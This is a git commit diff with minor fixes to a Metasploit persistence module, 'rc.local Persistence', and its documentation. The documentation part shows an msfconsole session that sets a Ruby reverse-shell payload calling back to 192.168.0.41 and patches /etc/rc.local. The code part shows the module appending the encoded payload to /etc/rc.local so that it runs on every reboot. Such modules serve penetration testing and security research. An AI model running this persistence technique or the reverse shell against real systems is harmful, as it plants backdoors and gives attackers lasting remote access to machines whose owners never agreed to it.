minor tweaks

GSoC/Meterpreter_Web_Console
Tim W 2018-08-19 15:27:04 +08:00
parent 01e6362828
commit e38775b504
2 changed files with 3 additions and 5 deletions

View File

@ -38,11 +38,9 @@ msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41
LHOST => 192.168.0.41`
LHOST => 192.168.0.41
msf5 exploit(linux/local/rc_local_persistence) > run
[*] Reading /etc/rc.local
[*] Patching /etc/rc.local
[*] Max line length is 65537
[*] Writing 650 bytes in 1 chunks of 2251 bytes (octal-encoded), using printf
```

View File

@ -8,13 +8,13 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'rc.local Persistence',
'Description' => %q(
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
),
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Local
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
# add payload and put back `exit 0`
rc_local << "\n#{payload.encoded}\nexit 0"
rc_local << "\n#{payload.encoded}\nexit 0\n"
# write new file
print_status('Patching /etc/rc.local')